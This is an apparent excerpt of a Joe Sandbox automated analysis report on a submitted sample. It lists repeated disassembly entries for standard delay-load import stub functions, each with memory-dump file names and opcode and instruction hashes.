Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 136f52fce0fc1e5ecf48ace46e91b6955eb3144da21c4cbc6a4a2b15c09fd8de
Instruction ID: 9e6fd5c4753164ee485f9683a2830b54d9e1be4ee93c7f2f44c5cf84f223cade
Opcode Fuzzy Hash: 136f52fce0fc1e5ecf48ace46e91b6955eb3144da21c4cbc6a4a2b15c09fd8de
Instruction Fuzzy Hash: 8CB012E135D244BD314452151C06DB7015DD6C1B10730853EFC06C0080D8406CC51931

Function 0091E246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3fbabdeef0a4b14b326d556a4070f40329d6eb7484210a101095bfbec0d83e5b
Instruction ID: e3cb72f101b5b5fa7ea4631dbe8088ca1c4ddeaa9e36519521ed70670acd2d36
Opcode Fuzzy Hash: 3fbabdeef0a4b14b326d556a4070f40329d6eb7484210a101095bfbec0d83e5b
Instruction Fuzzy Hash: 0DB012D175D144BC310451151C06DB7015DD6C2B10730C43EFC06C0080D840AC811931

Function 0091E264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 048c7abe314040d57f8dde6485a0657f817ae900b0b2029fe163361ae867bc96
Instruction ID: e1039a7ec163dcbb344ff69431039e1f82444ecac9bfe501e9eee3fa31b14c4e
Opcode Fuzzy Hash: 048c7abe314040d57f8dde6485a0657f817ae900b0b2029fe163361ae867bc96
Instruction Fuzzy Hash: 5CB012D136D144BC310451151C06DB7019DEAC1B10730843EFC07C0080D8406C811931

Function 0091E26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 383eaffa8bfc8c306577138e0d1590d0a5a43a95f22415250ece2d767980b406
Instruction ID: f53865ed98d03108831e6ade1c5fc5c07d99be9e3eff79122733b7f3eb86efe6
Opcode Fuzzy Hash: 383eaffa8bfc8c306577138e0d1590d0a5a43a95f22415250ece2d767980b406
Instruction Fuzzy Hash: 52B012D175C104BC310451261C06DB7019CD4C2B14330C43EFC06C0080D840ECC12931

Function 0091E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a2fde1dade9e8d1246642e6f988433cf6710cfb6ed7e9d5d431a18bde03897b1
Instruction ID: 268d77b5b21250d7536f2b17b6d8e261d8a072015cc9fed949ce44186551ae9a
Opcode Fuzzy Hash: a2fde1dade9e8d1246642e6f988433cf6710cfb6ed7e9d5d431a18bde03897b1
Instruction Fuzzy Hash: 9DB012E135C1157C310455041E03DB7025CC4C0B24330C42EFD14D1480D8400C8F0933

Function 0091E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7f787345b4ed75c9e3abc3ae467ef11183a19556dd5533e93d984b0ae8f88c95
Instruction ID: f7d53ae0b9c9dbf35bbd68b8871df5260e8e7ea32236c487af6a15dd55953f40
Opcode Fuzzy Hash: 7f787345b4ed75c9e3abc3ae467ef11183a19556dd5533e93d984b0ae8f88c95
Instruction Fuzzy Hash: 93B012F135C115FC310491041C03D77025CC4C0F14330C42EFC14D1081D8444E8A0933

Function 0091E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2a48cb54ea2766835a568b33095c8762f344630ef221573b1525393da38b1083
Instruction ID: f17361648e0addb6e4c05372fbdc9100ebf925f7956ef168d2793890e83b82cd
Opcode Fuzzy Hash: 2a48cb54ea2766835a568b33095c8762f344630ef221573b1525393da38b1083
Instruction Fuzzy Hash: 23B012E135C115BC310495041D03D77025CC4C0B24330C42EFC14D1480D8404C8A0933

Function 0091E593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E580

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 22a95a687433ac4a39de92300cb71cc68d50c453b9a9053e416d87192ae182d8
Instruction ID: 39f220e69f4edab7fd46c53cb1ac37455752d3aa0127adb2758659707d431553
Opcode Fuzzy Hash: 22a95a687433ac4a39de92300cb71cc68d50c453b9a9053e416d87192ae182d8
Instruction Fuzzy Hash: 8CB012C175D2097D310451541C03D77019DC4C1B1C331852EFC04D1080E8500C810935

Function 0091E5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E580

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e38ba3ed2a7989f5f8da1213548694ec6588ba90305e7fd98ffe40ca173a2672
Instruction ID: 49b23498c6240a71be44842318eedf8188b74f7329791d9d165ea132347a851c
Opcode Fuzzy Hash: e38ba3ed2a7989f5f8da1213548694ec6588ba90305e7fd98ffe40ca173a2672
Instruction Fuzzy Hash: D2B012C175C3057D314451545C03D7701BDC4C1B1C331862EFC04D1080E8400CC10935

Function 0091E5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E580

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 12871f0352d874ccba20d40ccc402bc454117ad82e495ed930cbecbdfdd30059
Instruction ID: 73b93e3698b3553fc7b02122e78a524a6818e365c43752742d839f72cbf2b918
Opcode Fuzzy Hash: 12871f0352d874ccba20d40ccc402bc454117ad82e495ed930cbecbdfdd30059
Instruction Fuzzy Hash: B4B012C175C2057C310451545D03D7741BDC4C1B1C371862EFC04D1080EC400D820935

Function 0091E50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e22f47f7042ea2484cbc9e296d7d87c1318a6d52441229bdd67b354612e04016
Instruction ID: 97e53b81f3fa8278587992bee9530340b786054d4ed5adfc8dabcdd696f77a4b
Opcode Fuzzy Hash: e22f47f7042ea2484cbc9e296d7d87c1318a6d52441229bdd67b354612e04016
Instruction Fuzzy Hash: 38B012C135C5057C310412241C07D7B011DC4C1F18730943EFC11D04C1A8400D890931

Function 0091E532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 34df6a04c801084c0b2ccf57d3249bce9ee91424b588a203be45dd55402783a6
Instruction ID: 4c5721306b2f26504e7d1cb737de1ec2ebe012b16bf68f373781e56baa600c5d
Opcode Fuzzy Hash: 34df6a04c801084c0b2ccf57d3249bce9ee91424b588a203be45dd55402783a6
Instruction Fuzzy Hash: 57B012C135E5057D350452081C03E7B015DC4C1F18330852EFC05C0080E8500C850A31

Function 0091E528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 00a141cabe078e4ed5cddbd22970a085d3c9f373941807d55bba775212a404da
Instruction ID: 59f0f57303cead9c820328f842cd9e381cb73f94738be60f1e6d5ebd1dec60e4
Opcode Fuzzy Hash: 00a141cabe078e4ed5cddbd22970a085d3c9f373941807d55bba775212a404da
Instruction Fuzzy Hash: 49B012C13595457C350452081D03D7B055DC4C1F18330C52EFC05C0080E8500C860A31

Function 0091E546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4542904104e88c6f91b7f9cdae29398db75b94aba50e1fed53d5441aba69d924
Instruction ID: fd6bc3c5526e650a0acfffece7c4574fc4481e19b1f2a0b59450cf35b8304604
Opcode Fuzzy Hash: 4542904104e88c6f91b7f9cdae29398db75b94aba50e1fed53d5441aba69d924
Instruction Fuzzy Hash: 2BB012C13586057C320452085C03D7B016DC4C1F18330862EFC05C0080E8400CC90A31

Function 0091E291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ce97c7123928960182b799a19b6684a386271e7d31a9fd7c6758a1b8a523114e
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: ce97c7123928960182b799a19b6684a386271e7d31a9fd7c6758a1b8a523114e
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2c909e2fa2fdca16e50d4c27b8e8b3729e2c57e08bb737752bc39cd2decba25b
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: 2c909e2fa2fdca16e50d4c27b8e8b3729e2c57e08bb737752bc39cd2decba25b
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E2B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 671c13707842423eb599007def84c7a81d418b91874dda2c799a908a6873e4d0
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: 671c13707842423eb599007def84c7a81d418b91874dda2c799a908a6873e4d0
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

